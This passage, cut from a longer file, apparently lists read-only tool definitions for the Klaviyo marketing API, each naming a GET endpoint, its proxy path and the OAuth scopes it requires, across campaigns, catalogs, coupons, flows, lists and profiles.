/api/v1/klaviyo/api/campaign-messages/{id}/image. Scopes: campaigns:read, images:read. klaviyo_get_api_campaign_messages_by_id_relationships_campaign (read) — Get campaign id for campaign message via GET /api/campaign-messages/{id}/relationships/campaign GET /api/v1/klaviyo/api/campaign-messages/{id}/relationships/campaign. Scopes: campaigns:read. klaviyo_get_api_campaign_messages_by_id_relationships_image (read) — Get image id for campaign message via GET /api/campaign-messages/{id}/relationships/image GET /api/v1/klaviyo/api/campaign-messages/{id}/relationships/image. Scopes: campaigns:read, images:read. klaviyo_get_api_campaign_messages_by_id_relationships_template (read) — Get template id for campaign message via GET /api/campaign-messages/{id}/relationships/template GET /api/v1/klaviyo/api/campaign-messages/{id}/relationships/template. Scopes: campaigns:read, templates:read. klaviyo_get_api_campaign_messages_by_id_template (read) — Get template for campaign message via GET /api/campaign-messages/{id}/template GET /api/v1/klaviyo/api/campaign-messages/{id}/template. Scopes: campaigns:read, templates:read. klaviyo_get_api_campaign_recipient_estimation_jobs_by_id (read) — Get campaign recipient estimation job via GET /api/campaign-recipient-estimation-jobs/{id} GET /api/v1/klaviyo/api/campaign-recipient-estimation-jobs/{id}. Scopes: campaigns:read. klaviyo_get_api_campaign_recipient_estimations_by_id (read) — Get campaign recipient estimation via GET /api/campaign-recipient-estimations/{id} GET /api/v1/klaviyo/api/campaign-recipient-estimations/{id}. Scopes: campaigns:read. klaviyo_get_api_campaign_send_jobs_by_id (read) — Get campaign send job via GET /api/campaign-send-jobs/{id} GET /api/v1/klaviyo/api/campaign-send-jobs/{id}. Scopes: campaigns:read. klaviyo_get_api_campaigns (read) — Get campaigns via GET /api/campaigns GET /api/v1/klaviyo/api/campaigns. Scopes: campaigns:read. klaviyo_get_api_campaigns_by_id (read) — Get campaign via GET /api/campaigns/{id} GET /api/v1/klaviyo/api/campaigns/{id}. Scopes: campaigns:read. klaviyo_get_api_campaigns_by_id_campaign_messages (read) — Get messages for campaign via GET /api/campaigns/{id}/campaign-messages GET /api/v1/klaviyo/api/campaigns/{id}/campaign-messages. Scopes: campaigns:read. klaviyo_get_api_campaigns_by_id_relationships_campaign_messages (read) — Get message ids for campaign via GET /api/campaigns/{id}/relationships/campaign-messages GET /api/v1/klaviyo/api/campaigns/{id}/relationships/campaign-messages. Scopes: campaigns:read. klaviyo_get_api_campaigns_by_id_relationships_tags (read) — Get tag ids for campaign via GET /api/campaigns/{id}/relationships/tags GET /api/v1/klaviyo/api/campaigns/{id}/relationships/tags. Scopes: campaigns:read, tags:read. klaviyo_get_api_campaigns_by_id_tags (read) — Get tags for campaign via GET /api/campaigns/{id}/tags GET /api/v1/klaviyo/api/campaigns/{id}/tags. Scopes: campaigns:read, tags:read. klaviyo_get_api_catalog_categories (read) — Get catalog categories via GET /api/catalog-categories GET /api/v1/klaviyo/api/catalog-categories. Scopes: catalogs:read. klaviyo_get_api_catalog_categories_by_id (read) — Get catalog category via GET /api/catalog-categories/{id} GET /api/v1/klaviyo/api/catalog-categories/{id}. Scopes: catalogs:read. klaviyo_get_api_catalog_categories_by_id_items (read) — Get items for catalog category via GET /api/catalog-categories/{id}/items GET /api/v1/klaviyo/api/catalog-categories/{id}/items. Scopes: catalogs:read. klaviyo_get_api_catalog_categories_by_id_relationships_items (read) — Get item ids for catalog category via GET /api/catalog-categories/{id}/relationships/items GET /api/v1/klaviyo/api/catalog-categories/{id}/relationships/items. Scopes: catalogs:read. klaviyo_get_api_catalog_category_bulk_create_jobs (read) — Get bulk create categories jobs via GET /api/catalog-category-bulk-create-jobs GET /api/v1/klaviyo/api/catalog-category-bulk-create-jobs. Scopes: catalogs:read. klaviyo_get_api_catalog_category_bulk_create_jobs_by_job_id (read) — Get bulk create categories job via GET /api/catalog-category-bulk-create-jobs/{job_id} GET /api/v1/klaviyo/api/catalog-category-bulk-create-jobs/{job_id}. Scopes: catalogs:read. klaviyo_get_api_catalog_category_bulk_delete_jobs (read) — Get bulk delete categories jobs via GET /api/catalog-category-bulk-delete-jobs GET /api/v1/klaviyo/api/catalog-category-bulk-delete-jobs. Scopes: catalogs:read. klaviyo_get_api_catalog_category_bulk_delete_jobs_by_job_id (read) — Get bulk delete categories job via GET /api/catalog-category-bulk-delete-jobs/{job_id} GET /api/v1/klaviyo/api/catalog-category-bulk-delete-jobs/{job_id}. Scopes: catalogs:read. klaviyo_get_api_catalog_category_bulk_update_jobs (read) — Get bulk update categories jobs via GET /api/catalog-category-bulk-update-jobs GET /api/v1/klaviyo/api/catalog-category-bulk-update-jobs. Scopes: catalogs:read. klaviyo_get_api_catalog_category_bulk_update_jobs_by_job_id (read) — Get bulk update categories job via GET /api/catalog-category-bulk-update-jobs/{job_id} GET /api/v1/klaviyo/api/catalog-category-bulk-update-jobs/{job_id}. Scopes: catalogs:read. klaviyo_get_api_catalog_item_bulk_create_jobs (read) — Get bulk create catalog items jobs via GET /api/catalog-item-bulk-create-jobs GET /api/v1/klaviyo/api/catalog-item-bulk-create-jobs. Scopes: catalogs:read. klaviyo_get_api_catalog_item_bulk_create_jobs_by_job_id (read) — Get bulk create catalog items job via GET /api/catalog-item-bulk-create-jobs/{job_id} GET /api/v1/klaviyo/api/catalog-item-bulk-create-jobs/{job_id}. Scopes: catalogs:read. klaviyo_get_api_catalog_item_bulk_delete_jobs (read) — Get bulk delete catalog items jobs via GET /api/catalog-item-bulk-delete-jobs GET /api/v1/klaviyo/api/catalog-item-bulk-delete-jobs. Scopes: catalogs:read. klaviyo_get_api_catalog_item_bulk_delete_jobs_by_job_id (read) — Get bulk delete catalog items job via GET /api/catalog-item-bulk-delete-jobs/{job_id} GET /api/v1/klaviyo/api/catalog-item-bulk-delete-jobs/{job_id}. Scopes: catalogs:read. klaviyo_get_api_catalog_item_bulk_update_jobs (read) — Get bulk update catalog items jobs via GET /api/catalog-item-bulk-update-jobs GET /api/v1/klaviyo/api/catalog-item-bulk-update-jobs. Scopes: catalogs:read. klaviyo_get_api_catalog_item_bulk_update_jobs_by_job_id (read) — Get bulk update catalog items job via GET /api/catalog-item-bulk-update-jobs/{job_id} GET /api/v1/klaviyo/api/catalog-item-bulk-update-jobs/{job_id}. Scopes: catalogs:read. klaviyo_get_api_catalog_items (read) — Get catalog items via GET /api/catalog-items GET /api/v1/klaviyo/api/catalog-items. Scopes: catalogs:read. klaviyo_get_api_catalog_items_by_id (read) — Get catalog item via GET /api/catalog-items/{id} GET /api/v1/klaviyo/api/catalog-items/{id}. Scopes: catalogs:read. klaviyo_get_api_catalog_items_by_id_categories (read) — Get categories for catalog item via GET /api/catalog-items/{id}/categories GET /api/v1/klaviyo/api/catalog-items/{id}/categories. Scopes: catalogs:read. klaviyo_get_api_catalog_items_by_id_relationships_categories (read) — Get category ids for catalog item via GET /api/catalog-items/{id}/relationships/categories GET /api/v1/klaviyo/api/catalog-items/{id}/relationships/categories. Scopes: catalogs:read. klaviyo_get_api_catalog_items_by_id_relationships_variants (read) — Get variant ids for catalog item via GET /api/catalog-items/{id}/relationships/variants GET /api/v1/klaviyo/api/catalog-items/{id}/relationships/variants. Scopes: catalogs:read. klaviyo_get_api_catalog_items_by_id_variants (read) — Get variants for catalog item via GET /api/catalog-items/{id}/variants GET /api/v1/klaviyo/api/catalog-items/{id}/variants. Scopes: catalogs:read. klaviyo_get_api_catalog_variant_bulk_create_jobs (read) — Get bulk create variants jobs via GET /api/catalog-variant-bulk-create-jobs GET /api/v1/klaviyo/api/catalog-variant-bulk-create-jobs. Scopes: catalogs:read. klaviyo_get_api_catalog_variant_bulk_create_jobs_by_job_id (read) — Get bulk create variants job via GET /api/catalog-variant-bulk-create-jobs/{job_id} GET /api/v1/klaviyo/api/catalog-variant-bulk-create-jobs/{job_id}. Scopes: catalogs:read. klaviyo_get_api_catalog_variant_bulk_delete_jobs (read) — Get bulk delete variants jobs via GET /api/catalog-variant-bulk-delete-jobs GET /api/v1/klaviyo/api/catalog-variant-bulk-delete-jobs. Scopes: catalogs:read. klaviyo_get_api_catalog_variant_bulk_delete_jobs_by_job_id (read) — Get bulk delete variants job via GET /api/catalog-variant-bulk-delete-jobs/{job_id} GET /api/v1/klaviyo/api/catalog-variant-bulk-delete-jobs/{job_id}. Scopes: catalogs:read. klaviyo_get_api_catalog_variant_bulk_update_jobs (read) — Get bulk update variants jobs via GET /api/catalog-variant-bulk-update-jobs GET /api/v1/klaviyo/api/catalog-variant-bulk-update-jobs. Scopes: catalogs:read. klaviyo_get_api_catalog_variant_bulk_update_jobs_by_job_id (read) — Get bulk update variants job via GET /api/catalog-variant-bulk-update-jobs/{job_id} GET /api/v1/klaviyo/api/catalog-variant-bulk-update-jobs/{job_id}. Scopes: catalogs:read. klaviyo_get_api_catalog_variants (read) — Get catalog variants via GET /api/catalog-variants GET /api/v1/klaviyo/api/catalog-variants. Scopes: catalogs:read. klaviyo_get_api_catalog_variants_by_id (read) — Get catalog variant via GET /api/catalog-variants/{id} GET /api/v1/klaviyo/api/catalog-variants/{id}. Scopes: catalogs:read. klaviyo_get_api_coupon_code_bulk_create_jobs (read) — Get bulk create coupon code jobs via GET /api/coupon-code-bulk-create-jobs GET /api/v1/klaviyo/api/coupon-code-bulk-create-jobs. Scopes: coupon-codes:read. klaviyo_get_api_coupon_code_bulk_create_jobs_by_job_id (read) — Get bulk create coupon codes job via GET /api/coupon-code-bulk-create-jobs/{job_id} GET /api/v1/klaviyo/api/coupon-code-bulk-create-jobs/{job_id}. Scopes: coupon-codes:read. klaviyo_get_api_coupon_codes (read) — Get coupon codes via GET /api/coupon-codes GET /api/v1/klaviyo/api/coupon-codes. Scopes: coupon-codes:read. klaviyo_get_api_coupon_codes_by_id (read) — Get coupon code via GET /api/coupon-codes/{id} GET /api/v1/klaviyo/api/coupon-codes/{id}. Scopes: coupon-codes:read. klaviyo_get_api_coupon_codes_by_id_coupon (read) — Get coupon for coupon code via GET /api/coupon-codes/{id}/coupon GET /api/v1/klaviyo/api/coupon-codes/{id}/coupon. Scopes: coupons:read. klaviyo_get_api_coupon_codes_by_id_relationships_coupon (read) — Get coupon id for coupon code via GET /api/coupon-codes/{id}/relationships/coupon GET /api/v1/klaviyo/api/coupon-codes/{id}/relationships/coupon. Scopes: coupons:read. klaviyo_get_api_coupons (read) — Get coupons via GET /api/coupons GET /api/v1/klaviyo/api/coupons. Scopes: coupons:read. klaviyo_get_api_coupons_by_id (read) — Get coupon via GET /api/coupons/{id} GET /api/v1/klaviyo/api/coupons/{id}. Scopes: coupons:read. klaviyo_get_api_coupons_by_id_coupon_codes (read) — Get coupon codes for coupon via GET /api/coupons/{id}/coupon-codes GET /api/v1/klaviyo/api/coupons/{id}/coupon-codes. Scopes: coupon-codes:read. klaviyo_get_api_coupons_by_id_relationships_coupon_codes (read) — Get coupon code ids for coupon via GET /api/coupons/{id}/relationships/coupon-codes GET /api/v1/klaviyo/api/coupons/{id}/relationships/coupon-codes. Scopes: coupon-codes:read. klaviyo_get_api_custom_metrics (read) — Get custom metrics via GET /api/custom-metrics GET /api/v1/klaviyo/api/custom-metrics. Scopes: metrics:read. klaviyo_get_api_custom_metrics_by_id (read) — Get custom metric via GET /api/custom-metrics/{id} GET /api/v1/klaviyo/api/custom-metrics/{id}. Scopes: metrics:read. klaviyo_get_api_custom_metrics_by_id_metrics (read) — Get metrics for custom metric via GET /api/custom-metrics/{id}/metrics GET /api/v1/klaviyo/api/custom-metrics/{id}/metrics. Scopes: metrics:read. klaviyo_get_api_custom_metrics_by_id_relationships_metrics (read) — Get metric ids for custom metric via GET /api/custom-metrics/{id}/relationships/metrics GET /api/v1/klaviyo/api/custom-metrics/{id}/relationships/metrics. Scopes: metrics:read. klaviyo_get_api_data_sources (read) — Get data sources via GET /api/data-sources GET /api/v1/klaviyo/api/data-sources. Scopes: custom-objects:read. klaviyo_get_api_data_sources_by_id (read) — Get data source via GET /api/data-sources/{id} GET /api/v1/klaviyo/api/data-sources/{id}. Scopes: custom-objects:read. klaviyo_get_api_events (read) — Get events via GET /api/events GET /api/v1/klaviyo/api/events. Scopes: events:read. klaviyo_get_api_events_by_id (read) — Get event via GET /api/events/{id} GET /api/v1/klaviyo/api/events/{id}. Scopes: events:read. klaviyo_get_api_events_by_id_metric (read) — Get metric for event via GET /api/events/{id}/metric GET /api/v1/klaviyo/api/events/{id}/metric. Scopes: events:read, metrics:read. klaviyo_get_api_events_by_id_profile (read) — Get profile for event via GET /api/events/{id}/profile GET /api/v1/klaviyo/api/events/{id}/profile. Scopes: events:read, profiles:read. klaviyo_get_api_events_by_id_relationships_metric (read) — Get metric id for event via GET /api/events/{id}/relationships/metric GET /api/v1/klaviyo/api/events/{id}/relationships/metric. Scopes: events:read, metrics:read. klaviyo_get_api_events_by_id_relationships_profile (read) — Get profile id for event via GET /api/events/{id}/relationships/profile GET /api/v1/klaviyo/api/events/{id}/relationships/profile. Scopes: events:read, profiles:read. klaviyo_get_api_flow_actions_by_id (read) — Get flow action via GET /api/flow-actions/{id} GET /api/v1/klaviyo/api/flow-actions/{id}. Scopes: flows:read. klaviyo_get_api_flow_actions_by_id_flow (read) — Get flow for flow action via GET /api/flow-actions/{id}/flow GET /api/v1/klaviyo/api/flow-actions/{id}/flow. Scopes: flows:read. klaviyo_get_api_flow_actions_by_id_flow_messages (read) — Get flow action messages via GET /api/flow-actions/{id}/flow-messages GET /api/v1/klaviyo/api/flow-actions/{id}/flow-messages. Scopes: flows:read. klaviyo_get_api_flow_actions_by_id_relationships_flow (read) — Get flow id for flow action via GET /api/flow-actions/{id}/relationships/flow GET /api/v1/klaviyo/api/flow-actions/{id}/relationships/flow. Scopes: flows:read. klaviyo_get_api_flow_actions_by_id_relationships_flow_messages (read) — Get message ids for flow action via GET /api/flow-actions/{id}/relationships/flow-messages GET /api/v1/klaviyo/api/flow-actions/{id}/relationships/flow-messages. Scopes: flows:read. klaviyo_get_api_flow_messages_by_id (read) — Get flow message via GET /api/flow-messages/{id} GET /api/v1/klaviyo/api/flow-messages/{id}. Scopes: flows:read. klaviyo_get_api_flow_messages_by_id_flow_action (read) — Get action for flow message via GET /api/flow-messages/{id}/flow-action GET /api/v1/klaviyo/api/flow-messages/{id}/flow-action. Scopes: flows:read. klaviyo_get_api_flow_messages_by_id_relationships_flow_action (read) — Get action id for flow message via GET /api/flow-messages/{id}/relationships/flow-action GET /api/v1/klaviyo/api/flow-messages/{id}/relationships/flow-action. Scopes: flows:read. klaviyo_get_api_flow_messages_by_id_relationships_template (read) — Get template id for flow message via GET /api/flow-messages/{id}/relationships/template GET /api/v1/klaviyo/api/flow-messages/{id}/relationships/template. Scopes: templates:read. klaviyo_get_api_flow_messages_by_id_template (read) — Get template for flow message via GET /api/flow-messages/{id}/template GET /api/v1/klaviyo/api/flow-messages/{id}/template. Scopes: templates:read. klaviyo_get_api_flows (read) — Get flows via GET /api/flows GET /api/v1/klaviyo/api/flows. Scopes: flows:read. klaviyo_get_api_flows_by_id (read) — Get flow via GET /api/flows/{id} GET /api/v1/klaviyo/api/flows/{id}. Scopes: flows:read. klaviyo_get_api_flows_by_id_flow_actions (read) — Get actions for flow via GET /api/flows/{id}/flow-actions GET /api/v1/klaviyo/api/flows/{id}/flow-actions. Scopes: flows:read. klaviyo_get_api_flows_by_id_relationships_flow_actions (read) — Get action ids for flow via GET /api/flows/{id}/relationships/flow-actions GET /api/v1/klaviyo/api/flows/{id}/relationships/flow-actions. Scopes: flows:read. klaviyo_get_api_flows_by_id_relationships_tags (read) — Get tag ids for flow via GET /api/flows/{id}/relationships/tags GET /api/v1/klaviyo/api/flows/{id}/relationships/tags. Scopes: flows:read, tags:read. klaviyo_get_api_flows_by_id_tags (read) — Get tags for flow via GET /api/flows/{id}/tags GET /api/v1/klaviyo/api/flows/{id}/tags. Scopes: flows:read, tags:read. klaviyo_get_api_form_versions_by_id (read) — Get form version via GET /api/form-versions/{id} GET /api/v1/klaviyo/api/form-versions/{id}. Scopes: forms:read. klaviyo_get_api_form_versions_by_id_form (read) — Get form for form version via GET /api/form-versions/{id}/form GET /api/v1/klaviyo/api/form-versions/{id}/form. Scopes: forms:read. klaviyo_get_api_form_versions_by_id_relationships_form (read) — Get form id for form version via GET /api/form-versions/{id}/relationships/form GET /api/v1/klaviyo/api/form-versions/{id}/relationships/form. Scopes: forms:read. klaviyo_get_api_forms (read) — Get forms via GET /api/forms GET /api/v1/klaviyo/api/forms. Scopes: forms:read. klaviyo_get_api_forms_by_id (read) — Get form via GET /api/forms/{id} GET /api/v1/klaviyo/api/forms/{id}. Scopes: forms:read. klaviyo_get_api_forms_by_id_form_versions (read) — Get versions for form via GET /api/forms/{id}/form-versions GET /api/v1/klaviyo/api/forms/{id}/form-versions. Scopes: forms:read. klaviyo_get_api_forms_by_id_relationships_form_versions (read) — Get version ids for form via GET /api/forms/{id}/relationships/form-versions GET /api/v1/klaviyo/api/forms/{id}/relationships/form-versions. Scopes: forms:read. klaviyo_get_api_images (read) — Get images via GET /api/images GET /api/v1/klaviyo/api/images. Scopes: images:read. klaviyo_get_api_images_by_id (read) — Get image via GET /api/images/{id} GET /api/v1/klaviyo/api/images/{id}. Scopes: images:read. klaviyo_get_api_lists (read) — Get lists via GET /api/lists GET /api/v1/klaviyo/api/lists. Scopes: lists:read. klaviyo_get_api_lists_by_id (read) — Get list via GET /api/lists/{id} GET /api/v1/klaviyo/api/lists/{id}. Scopes: lists:read. klaviyo_get_api_lists_by_id_flow_triggers (read) — Get flows triggered by list via GET /api/lists/{id}/flow-triggers GET /api/v1/klaviyo/api/lists/{id}/flow-triggers. Scopes: flows:read, lists:read. klaviyo_get_api_lists_by_id_profiles (read) — Get profiles for list via GET /api/lists/{id}/profiles GET /api/v1/klaviyo/api/lists/{id}/profiles. Scopes: lists:read, profiles:read. klaviyo_get_api_lists_by_id_relationships_flow_triggers (read) — Get ids for flows triggered by list via GET /api/lists/{id}/relationships/flow-triggers GET /api/v1/klaviyo/api/lists/{id}/relationships/flow-triggers. Scopes: flows:read, lists:read. klaviyo_get_api_lists_by_id_relationships_profiles (read) — Get profile ids for list via GET /api/lists/{id}/relationships/profiles GET /api/v1/klaviyo/api/lists/{id}/relationships/profiles. Scopes: lists:read, profiles:read. klaviyo_get_api_lists_by_id_relationships_tags (read) — Get tag ids for list via GET /api/lists/{id}/relationships/tags GET /api/v1/klaviyo/api/lists/{id}/relationships/tags. Scopes: lists:read, tags:read. klaviyo_get_api_lists_by_id_tags (read) — Get tags for list via GET /api/lists/{id}/tags GET /api/v1/klaviyo/api/lists/{id}/tags. Scopes: lists:read, tags:read. klaviyo_get_api_mapped_metrics (read) — Get mapped metrics via GET /api/mapped-metrics GET /api/v1/klaviyo/api/mapped-metrics. Scopes: metrics:read. klaviyo_get_api_mapped_metrics_by_id (read) — Get mapped metric via GET /api/mapped-metrics/{id} GET /api/v1/klaviyo/api/mapped-metrics/{id}. Scopes: metrics:read. klaviyo_get_api_mapped_metrics_by_id_custom_metric (read) — Get custom metric for mapped metric via GET /api/mapped-metrics/{id}/custom-metric GET /api/v1/klaviyo/api/mapped-metrics/{id}/custom-metric. Scopes: metrics:read. klaviyo_get_api_mapped_metrics_by_id_metric (read) — Get metric for mapped metric via GET /api/mapped-metrics/{id}/metric GET /api/v1/klaviyo/api/mapped-metrics/{id}/metric. Scopes: metrics:read. klaviyo_get_api_mapped_metrics_by_id_relationships_custom_metric (read) — Get custom metric id for mapped metric via GET /api/mapped-metrics/{id}/relationships/custom-metric GET /api/v1/klaviyo/api/mapped-metrics/{id}/relationships/custom-metric. Scopes: metrics:read. klaviyo_get_api_mapped_metrics_by_id_relationships_metric (read) — Get metric id for mapped metric via GET /api/mapped-metrics/{id}/relationships/metric GET /api/v1/klaviyo/api/mapped-metrics/{id}/relationships/metric. Scopes: metrics:read. klaviyo_get_api_metric_properties_by_id (read) — Get metric property via GET /api/metric-properties/{id} GET /api/v1/klaviyo/api/metric-properties/{id}. Scopes: metrics:read. klaviyo_get_api_metric_properties_by_id_metric (read) — Get metric for metric property via GET /api/metric-properties/{id}/metric GET /api/v1/klaviyo/api/metric-properties/{id}/metric. Scopes: metrics:read. klaviyo_get_api_metric_properties_by_id_relationships_metric (read) — Get metric id for metric property via GET /api/metric-properties/{id}/relationships/metric GET /api/v1/klaviyo/api/metric-properties/{id}/relationships/metric. Scopes: metrics:read. klaviyo_get_api_metrics (read) — Get metrics via GET /api/metrics GET /api/v1/klaviyo/api/metrics. Scopes: metrics:read. klaviyo_get_api_metrics_by_id (read) — Get metric via GET /api/metrics/{id} GET /api/v1/klaviyo/api/metrics/{id}. Scopes: metrics:read. klaviyo_get_api_metrics_by_id_flow_triggers (read) — Get flows triggered by metric via GET /api/metrics/{id}/flow-triggers GET /api/v1/klaviyo/api/metrics/{id}/flow-triggers. Scopes: flows:read, metrics:read. klaviyo_get_api_metrics_by_id_metric_properties (read) — Get properties for metric via GET /api/metrics/{id}/metric-properties GET /api/v1/klaviyo/api/metrics/{id}/metric-properties. Scopes: metrics:read. klaviyo_get_api_metrics_by_id_relationships_flow_triggers (read) — Get ids for flows triggered by metric via GET /api/metrics/{id}/relationships/flow-triggers GET /api/v1/klaviyo/api/metrics/{id}/relationships/flow-triggers. Scopes: flows:read, metrics:read. klaviyo_get_api_metrics_by_id_relationships_metric_properties (read) — Get property ids for metric via GET /api/metrics/{id}/relationships/metric-properties GET /api/v1/klaviyo/api/metrics/{id}/relationships/metric-properties. Scopes: metrics:read. klaviyo_get_api_object_records_by_id (read) — Get object record via GET /api/object-records/{id} GET /api/v1/klaviyo/api/object-records/{id}. Scopes: custom-objects:read. klaviyo_get_api_object_schemas_by_id (read) — Get object schema via GET /api/object-schemas/{id} GET /api/v1/klaviyo/api/object-schemas/{id}. Scopes: custom-objects:read. klaviyo_get_api_object_schemas_by_id_relationships_object_schemas (read) — Get object schema relationships via GET /api/object-schemas/{id}/relationships/object-schemas GET /api/v1/klaviyo/api/object-schemas/{id}/relationships/object-schemas. Scopes: custom-objects:read. klaviyo_get_api_object_schemas_by_id_relationships_profile_object_schemas (read) — Get profile schema relationships via GET /api/object-schemas/{id}/relationships/profile-object-schemas GET /api/v1/klaviyo/api/object-schemas/{id}/relationships/profile-object-schemas. Scopes: custom-objects:read. klaviyo_get_api_object_schemas_by_id_relationships_source_mapping (read) — Get source mapping id for object schema via GET /api/object-schemas/{id}/relationships/source-mapping GET /api/v1/klaviyo/api/object-schemas/{id}/relationships/source-mapping. Scopes: custom-objects:read. klaviyo_get_api_object_schemas_by_id_source_mapping (read) — Get source mapping for object schema via GET /api/object-schemas/{id}/source-mapping GET /api/v1/klaviyo/api/object-schemas/{id}/source-mapping. Scopes: custom-objects:read. klaviyo_get_api_object_types (read) — Get object types via GET /api/object-types GET /api/v1/klaviyo/api/object-types. Scopes: custom-objects:read. klaviyo_get_api_object_types_by_id (read) — Get object type via GET /api/object-types/{id} GET /api/v1/klaviyo/api/object-types/{id}. Scopes: custom-objects:read. klaviyo_get_api_object_types_by_id_current_schema (read) — Get current schema for object type via GET /api/object-types/{id}/current-schema GET /api/v1/klaviyo/api/object-types/{id}/current-schema. Scopes: custom-objects:read. klaviyo_get_api_object_types_by_id_draft_schema (read) — Get draft schema for object type via GET /api/object-types/{id}/draft-schema GET /api/v1/klaviyo/api/object-types/{id}/draft-schema. Scopes: custom-objects:read. klaviyo_get_api_object_types_by_id_object_ingestion_logs (read) — Get ingestion logs for object type via GET /api/object-types/{id}/object-ingestion-logs GET /api/v1/klaviyo/api/object-types/{id}/object-ingestion-logs. Scopes: custom-objects:read. klaviyo_get_api_object_types_by_id_object_records (read) — Get records for object type via GET /api/object-types/{id}/object-records GET /api/v1/klaviyo/api/object-types/{id}/object-records. Scopes: custom-objects:read. klaviyo_get_api_object_types_by_id_relationships_current_schema (read) — Get current schema id for object type via GET /api/object-types/{id}/relationships/current-schema GET /api/v1/klaviyo/api/object-types/{id}/relationships/current-schema. Scopes: custom-objects:read. klaviyo_get_api_object_types_by_id_relationships_draft_schema (read) — Get draft schema id for object type via GET /api/object-types/{id}/relationships/draft-schema GET /api/v1/klaviyo/api/object-types/{id}/relationships/draft-schema. Scopes: custom-objects:read. klaviyo_get_api_object_types_by_id_relationships_object_ingestion_logs (read) — Get ingestion log ids for object type via GET /api/object-types/{id}/relationships/object-ingestion-logs GET /api/v1/klaviyo/api/object-types/{id}/relationships/object-ingestion-logs. Scopes: custom-objects:read. klaviyo_get_api_object_types_by_id_relationships_object_records (read) — Get record ids for object type via GET /api/object-types/{id}/relationships/object-records GET /api/v1/klaviyo/api/object-types/{id}/relationships/object-records. Scopes: custom-objects:read. klaviyo_get_api_object_types_by_id_relationships_object_types (read) — Get object type relationships via GET /api/object-types/{id}/relationships/object-types GET /api/v1/klaviyo/api/object-types/{id}/relationships/object-types. Scopes: custom-objects:read. klaviyo_get_api_object_types_by_id_relationships_profile_object_types (read) — Get profile type relationships via GET /api/object-types/{id}/relationships/profile-object-types GET /api/v1/klaviyo/api/object-types/{id}/relationships/profile-object-types. Scopes: custom-objects:read. klaviyo_get_api_object_types_by_id_relationships_schema_versions (read) — Get schema version ids for object type via GET /api/object-types/{id}/relationships/schema-versions GET /api/v1/klaviyo/api/object-types/{id}/relationships/schema-versions. Scopes: custom-objects:read. klaviyo_get_api_object_types_by_id_schema_versions (read) — Get schema versions for object type via GET /api/object-types/{id}/schema-versions GET /api/v1/klaviyo/api/object-types/{id}/schema-versions. Scopes: custom-objects:read. klaviyo_get_api_profile_bulk_import_jobs (read) — Get bulk import profiles jobs via GET /api/profile-bulk-import-jobs GET /api/v1/klaviyo/api/profile-bulk-import-jobs. Scopes: lists:read, profiles:read. klaviyo_get_api_profile_bulk_import_jobs_by_id_import_errors (read) — Get errors for bulk import profiles job via GET /api/profile-bulk-import-jobs/{id}/import-errors GET /api/v1/klaviyo/api/profile-bulk-import-jobs/{id}/import-errors. Scopes: profiles:read. klaviyo_get_api_profile_bulk_import_jobs_by_id_lists (read) — Get list for bulk import profiles job via GET /api/profile-bulk-import-jobs/{id}/lists GET /api/v1/klaviyo/api/profile-bulk-import-jobs/{id}/lists. Scopes: lists:read. klaviyo_get_api_profile_bulk_import_jobs_by_id_profiles (read) — Get profiles for bulk import profiles job via GET /api/profile-bulk-import-jobs/{id}/profiles GET /api/v1/klaviyo/api/profile-bulk-import-jobs/{id}/profiles. Scopes: profiles:read. klaviyo_get_api_profile_bulk_import_jobs_by_id_relationships_lists (read) — Get list ids for bulk import profiles job via GET /api/profile-bulk-import-jobs/{id}/relationships/lists GET /api/v1/klaviyo/api/profile-bulk-import-jobs/{id}/relationships/lists. Scopes: lists:read. klaviyo_get_api_profile_bulk_import_jobs_by_id_relationships_profiles (read) — Get profile ids for bulk import profiles job via GET /api/profile-bulk-import-jobs/{id}/relationships/profiles GET /api/v1/klaviyo/api/profile-bulk-import-jobs/{id}/relationships/profiles. Scopes: profiles:read. klaviyo_get_api_profile_bulk_import_jobs_by_job_id (read) — Get bulk import profiles job via GET /api/profile-bulk-import-jobs/{job_id} GET /api/v1/klaviyo/api/profile-bulk-import-jobs/{job_id}. Scopes: lists:read, profiles:read. klaviyo_get_api_profile_suppression_bulk_create_jobs (read) — Get bulk suppress profiles jobs via GET /api/profile-suppression-bulk-create-jobs GET /api/v1/klaviyo/api/profile-suppression-bulk-create-jobs. Scopes: subscriptions:read. klaviyo_get_api_profile_suppression_bulk_create_jobs_by_job_id (read) — Get bulk suppress profiles job via GET /api/profile-suppression-bulk-create-jobs/{job_id} GET /api/v1/klaviyo/api/profile-suppression-bulk-create-jobs/{job_id}. Scopes: subscriptions:read. klaviyo_get_api_profile_suppression_bulk_delete_jobs (read) — Get bulk unsuppress profiles jobs via GET /api/profile-suppression-bulk-delete-jobs GET /api/v1/klaviyo/api/profile-suppression-bulk-delete-jobs. Scopes: subscriptions:read. klaviyo_get_api_profile_suppression_bulk_delete_jobs_by_job_id (read) — Get bulk unsuppress profiles job via GET /api/profile-suppression-bulk-delete-jobs/{job_id} GET /api/v1/klaviyo/api/profile-suppression-bulk-delete-jobs/{job_id}. Scopes: subscriptions:read. klaviyo_get_api_profiles (read) — Get profiles via GET /api/profiles GET /api/v1/klaviyo/api/profiles. Scopes: profiles:read. klaviyo_get_api_profiles_by_id (read) — Get profile via GET /api/profiles/{id} GET /api/v1/klaviyo/api/profiles/{id}. Scopes: profiles:read. klaviyo_get_api_profiles_by_id_conversation (read) — Get conversation for profile via GET /api/profiles/{id}/conversation GET /api/v1/klaviyo/api/profiles/{id}/conversation. Scopes: conversations:read, profiles:read. klaviyo_get_api_profiles_by_id_conversations (read) — Get conversations for profile via GET /api/profiles/{id}/conversations GET /api/v1/klaviyo/api/profiles/{id}/conversations. Scopes: conversations:read, profiles:read. klaviyo_get_api_profiles_by_id_lists (read) — Get lists for profile via GET /api/profiles/{id}/lists GET /api/v1/klaviyo/api/profiles/{id}/lists. Scopes: lists:read, profiles:read. klaviyo_get_api_profiles_by_id_push_tokens (read) — Get push tokens for profile via GET /api/profiles/{id}/push-tokens GET /api/v1/klaviyo/api/profiles/{id}/push-tokens. Scopes: profiles:read. klaviyo_get_api_profiles_by_id_relationships_conversation (read) — Get conversation id for profile via GET /api/profiles/{id}/relationships/conversation GET /api/v1/klaviyo/api/profiles/{id}/relationships/conversation. Scopes: conversations:read, profiles:read. klaviyo_get_api_profiles_by_id_relationships_conversations (read) — Get conversation ids for profile via GET /api/profiles/{id}/relationships/conversations GET /api/v1/klaviyo/api/profiles/{id}/relationships/conversations. Scopes: conversations:read, profiles:read. klaviyo_get_api_profiles_by_id_relationships_lists (read) — Get list ids for profile via GET /api/profiles/{id}/relationships/lists GET /api/v1/klaviyo/api/profiles/{id}/relationships/lists. Scopes: lists:read, profiles:read. klaviyo_get_api_profiles_by_id_relationships_push_tokens 